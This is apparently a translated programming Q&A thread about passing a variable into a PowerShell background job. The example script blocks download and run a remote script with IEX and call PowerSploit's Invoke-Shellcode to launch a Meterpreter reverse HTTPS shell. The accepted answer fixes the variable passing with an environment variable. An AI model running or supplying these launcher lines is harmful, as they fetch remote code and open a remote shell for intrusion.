2
$foo = @("string.here")

foreach ($num in $foo) {
    $s = { $WebClientObject = New-Object Net.WebClient
           IEX $WebClientObject.DownloadString('https://webserver/MyCommandlet.ps1')
           $temp = $args[0]
           MyCommandlet -Lhost "$temp"
           Write-Host "$temp"
         }

    $id = [System.Guid]::NewGuid()
    $jobs += $id   
    Start-Job -Name $id -ScriptBlock $s -args $num
}

从此修改编辑:为了清楚起见,删除了不必要的代码。

MyCommandlet期望在使用之前检查一个变量(此处-Lhost $temp)(它不应为 null 或空)。

尝试运行上述脚本时,我收到以下错误消息。

Invoke-Shellcode:无法验证参数“Lhost”上的参数。参数为 null 或空。提供一个不为 null 或空的参数,然后重试该命令。


编辑Invoke-Shellcode是原始 Commandlet,我将其引用为MyCommandlet. 出于安全原因,我不想包含完整的代码(以防人们自己运行脚本)。有关更多详细信息,请参阅此处的代码 https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1

原始的 ScriptBlock 类似于(参见 $temp 变量)

{
   $WebClientObject = New-Object Net.WebClient
   IEX $WebClientObject.DownloadString('PAYLOAD_URL')
   Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $temp -Lport 443 -Force
}

本质上,该变量没有MyCommandlet正确传递给我,而Write-Host $temp在相同的上下文中返回一个非空值(这是正确的)。我知道变量不会传递给其他 ScriptBlock,特别是如果它在新作业中运行,但是因为Write-Host能够在作业中正确读取值,所以我一定错过了其他一些东西。

正如一些帖子所建议的,我尝试了以下替代方案:

  • ...} -ArgumentList $temp(在 ScriptBlock 之后) http://powershell.org/wp/forums/topic/passing-parameter-to-start-job/
  • {param($temp) ...}(在 ScriptBlock 的开头)
  • 直接使用Start-Job -ScriptBlock {...},而不是 ScriptBlock 的变量。 [scriptblock]::Create(...)声明 ScriptBlock
  • 使用Invoke-Command, 而不是Start-Job但不仅它也不起作用(尽管工作方式略有不同),Start-Job如果可能的话,我想坚持下去。
  • 我想避免使用 Powershell V3.0$using:variable功能。另外,它在我尝试的配置中不起作用。

这些都不适合我。

4

1 回答 1

0

我找到了一个可行的解决方案,它依赖于使用环境变量,例如$env:myvar. 为了将其与上述问题联系起来,我使用了这种方式:

$foo = 'string_var'
$env:temp_var = $($foo)      

$s = { $WebClientObject = New-Object Net.WebClient
       IEX $WebClientObject.DownloadString('PAYLOAD_URL')
       Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $env:temp_var -Lport 443 -Force -Proxy
       #Write-Host $env:temp_var
     }

$id = [System.Guid]::NewGuid()
$jobs += $id   
Start-Job -Name $id -ScriptBlock $s

# Clean-up
Remove-Item env:\temp_var

有关 Powershell 中环境变量的更多详细信息,请参阅https://technet.microsoft.com/en-us/library/ff730964.aspx

ps:为什么上面建议的选项不起作用对我来说仍然没有意义......如果有人有任何解释,那将是最受欢迎的。

于 2015-11-16T19:12:23.020 回答